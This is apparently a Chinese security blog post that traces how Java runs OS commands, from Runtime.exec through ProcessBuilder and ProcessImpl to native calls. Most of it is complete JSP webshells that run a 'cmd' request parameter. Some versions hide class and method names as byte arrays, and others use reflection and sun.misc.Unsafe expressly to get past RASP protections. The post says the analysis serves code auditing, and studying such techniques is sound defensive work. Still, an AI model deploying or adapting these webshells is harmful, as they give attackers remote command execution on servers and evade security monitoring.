Java本地命令执行

关于 Java 命令执行,我们熟知的一般是使用 java.lang.Runtime 类的 exec 方法来执行本地系统命令。但实际上 exec() 并不是执行命令的终点,这点你我都心知肚明,最终一定是通过系统调用来实现,而这里我们要探讨其整个调用链过程,当目标过滤不当时,我们可以利用中间链子的方法以及反射来实现命令执行

Runtime 调用链

我们先用一个简单的一句话木马来测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<%@ page contentType="text/html;charset=UTF-8" language="java" %>  
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.ByteArrayOutputStream" %>

<%
if (request.getParameter("cmd") == null) {
return;
}
InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();

ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;

while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}
out.write("<pre>" + new String(baos.toByteArray()) + "</pre>");
%>

在 Runtime 类的 exec() 方法处下断点

由于 Runtime 类中定义了多个形参不同的 exec 方法,这里我们不考虑环境变量和工作目录,继续跟进,这里会有多个方法重载,我们跟进到最终的 public Process exec(String[] cmdarray, String[] envp, File dir)

这里出现了第一个链子 ProcessBuilder() 的 start() 方法,会根据当前 ProcessBuilder 实例中配置的属性(如命令、环境、工作目录、IO 重定向配置等)来创建一个新的操作系统进程

这些工作做好以后会进入 try 块,调用 ProcessImpl.start() 静态方法

继续跟进调用了 ProcessImpl() 私用方法,实例化 ProcessImpl 对象,这里开始准备调用 CreateProcess API,为其接收的数据做处理

后续跟进 native 方法 create()

到这里 Java 层就结束了,直接调用 Windows 系统函数 CreateProcess 创建进程
至此整个调用链为

1
2
3
4
5
6
7
8
at java.lang.ProcessImpl.create(ProcessImpl.java:-1)
at java.lang.ProcessImpl.<init>(ProcessImpl.java:386)
at java.lang.ProcessImpl.start(ProcessImpl.java:137)
at java.lang.ProcessBuilder.start(ProcessBuilder.java:1029)
at java.lang.Runtime.exec(Runtime.java:620)
at java.lang.Runtime.exec(Runtime.java:450)
at java.lang.Runtime.exec(Runtime.java:347)
at org.apache.jsp.index_jsp._jspService(index.jsp:9)

在经典 Java 8 Unix/Linux 系统下 java.lang.ProcessImpl.start 之后应该是调用 UNIXProcess 构造方法,然后通过 native 方法 forkAndExec() 系统调用 fork -> exec


对于 JDK9 之后则是将 forkAndExec() 方法合并到了 ProcessImpl 中

反射 Runtime

现在我们就刚刚的一句话木马做一个反射版本,并对敏感字符串面量做处理,看起来像这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<%@ page contentType="text/html;charset=UTF-8" language="java" %>  
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.lang.reflect.Method" %>

<%
if (request.getParameter("str") == null) {
return;
}

// 定义字符串 java.lang.Runtime
String Rt = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101});

// 反射获取 Class 对象
Class<?> c = Class.forName(Rt);

// 获取 Runtime.getRuntime() 方法
Object grt = c.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101})).invoke(null);

// 获取 Runtime.exec(String cmd) 方法
Method e = c.getMethod(new String(new byte[]{101, 120, 101, 99}), String.class);
Object p = e.invoke(grt, request.getParameter("str"));

// 反射获取 Process.getInputStream() 方法
Class<?> processClass = Class.forName(new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 80, 114, 111, 99, 101, 115, 115}));
Method gi = processClass.getMethod(new String(new byte[]{103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109}));
InputStream in = (InputStream) gi.invoke(p);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;

while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}
out.write("<pre>" + new String(baos.toByteArray()) + "</pre>");
%>

ProcessBuilder 命令执行

其实只需要传递一个命令参数即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<%@ page contentType="text/html;charset=UTF-8" language="java" %>  
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.ByteArrayOutputStream" %>

<%
if (request.getParameter("cmd") == null) {
return;
}
InputStream in = new ProcessBuilder(request.getParameter("cmd")).start().getInputStream();

ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;

while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
} out.write("<pre>" + new String(baos.toByteArray()) + "</pre>");
%>

反射获取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<%@ page contentType="text/html;charset=UTF-8" language="java" %>  
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.lang.reflect.Method" %>

<%
if (request.getParameter("cmd") == null) {
return;
}

String pb = "java.lang.ProcessBuilder";
Class<?> clazz = Class.forName(pb);
Constructor pbConstructor = clazz.getConstructor(String[].class);
Object processBuilder = pbConstructor.newInstance((Object) new String[]{request.getParameter("cmd")});

Method startMethod = clazz.getMethod("start");
Object process = startMethod.invoke(processBuilder);

Class<?> processClass = Class.forName("java.lang.Process");
Method getInputStreamMethod = processClass.getMethod("getInputStream");
InputStream in = (InputStream) getInputStreamMethod.invoke(process);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;

while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
} out.write("<pre>" + new String(baos.toByteArray()) + "</pre>");
%>

ProcessImpl 命令执行

通过前面的调用链分析,我们依旧可以通过反射 ProcessImpl 来进行命令执行,在 UNIX/Linux 系统下只需要模拟其源码 C 语言风格的数据处理逻辑即可,Windows 系统会更简洁一些,但由于其私有属性,因此仅限于 JDK9 版本以下。简言之,我们现在需要重写 ProcessImpl 的 start() 方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.io.*" %>
<%@ page import="java.lang.reflect.Method" %>

<%!
InputStream start(String[] cmds) throws Exception {
String pI = "java.lang.ProcessImpl";
Class<?> clazz = Class.forName(pI);

// private java.lang.ProcessImpl(java.lang.String[],java.lang.String,java.lang.String,long[],boolean) throws java.io.IOException
Constructor<?> constructor = clazz.getDeclaredConstructors()[0];
constructor.setAccessible(true);

FileInputStream f0 = null;
FileOutputStream f1 = null;
FileOutputStream f2 = null;

// 源码这里的功能是把结果写到服务器的某个文件里,同时满足可能需要继承 Tomcat 进程的控制台的功能,但是我们不需要,所以直接把三个流都指向 null 就行了
long[] stdHandles = new long[] { -1L, -1L, -1L };

// 注意参数类型
Object process = constructor.newInstance(new Object[] { cmds, null, null, stdHandles, false });

Method m = clazz.getDeclaredMethod("getInputStream");
m.setAccessible(true);
return (InputStream) m.invoke(process);
}
%>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
String[] cmds = new String[] { cmd };
InputStream in = start(cmds);
BufferedReader reader = new BufferedReader(new InputStreamReader(in));
String line;
while ((line = reader.readLine()) != null) {
out.println(line + "<br>");
}
}
%>

Unix/Linux 版本大同小异,对照源码更改即可

create()/forkAndExec() 配合 Unsafe 类实现命令执行

现在考虑如果 RASP 把 UNIXProcess/ProcessImpl 类的构造方法给拦截了,我们可以借助一个叫 sun.misc.Unsafe 的类避免使用其构造方法

sun.misc.Unsafe

sun.misc.Unsafe 是 JDK 9 以下内部提供的一个“后门”类,绕过了 Java 的安全机制,直接操作内存和线程。 Unsafe 的构造方法是私有的,getUnsafe() 方法会检查调用者的类加载器(默认只允许 Bootstrap Classloader 调用),普通代码直接调用会抛出 SecurityException。

所以只能通过反射拿到它:

1
2
3
Field f = Unsafe.class.getDeclaredField("theUnsafe");
f.setAccessible(true);
Unsafe unsafe = (Unsafe) f.get(null);

allocateInstance 方法创建类实例

这是一个 native 方法,直接在堆上为指定类分配内存并返回实例,但完全跳过构造方法的执行

1
public native Object allocateInstance(Class<?> cls) throws InstantiationException;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.*" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="sun.misc.Unsafe" %>

<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);

Class<?> processClass = Class.forName("java.lang.ProcessImpl");
Object processObject = unsafe.allocateInstance(processClass);

long[] stdHandles = new long[] { -1L, -1L, -1L };

// private static synchronized native long java.lang.ProcessImpl.create(java.lang.String,java.lang.String,java.lang.String,long[],boolean) throws java.io.IOException
Method createMethod = processClass.getDeclaredMethod("create", String.class, String.class, String.class, long[].class, boolean.class);
createMethod.setAccessible(true);
createMethod.invoke(null, cmd, null, null, stdHandles, false);

if (stdHandles[1] != -1L) {
FileDescriptor fd = (FileDescriptor) unsafe.allocateInstance(FileDescriptor.class);

Field handleField = FileDescriptor.class.getDeclaredField("handle");
handleField.setAccessible(true);
handleField.setLong(fd, stdHandles[1]);

FileInputStream fis = new FileInputStream(fd);
BufferedReader reader = new BufferedReader(new InputStreamReader(fis));
String line;
while ((line = reader.readLine()) != null) {
out.println(line + "<br>");
}
reader.close();
}
}
%>

这里我们成功执行了命令,但是如何读取输出流呢?放心,在源码中已经给出了逻辑

stdHandles[1] 对应标准输出,并通过反射构建 FileDescriptor 的方法来读取输出,这里为了避免使用构造方法,我们依旧可以使用 unsafe.allocateInstance() 来创建实例


至此对于 Java 本地命令执行的剖析告一段落,在以后的代码审计中也不能只局限于关注 exec 字段了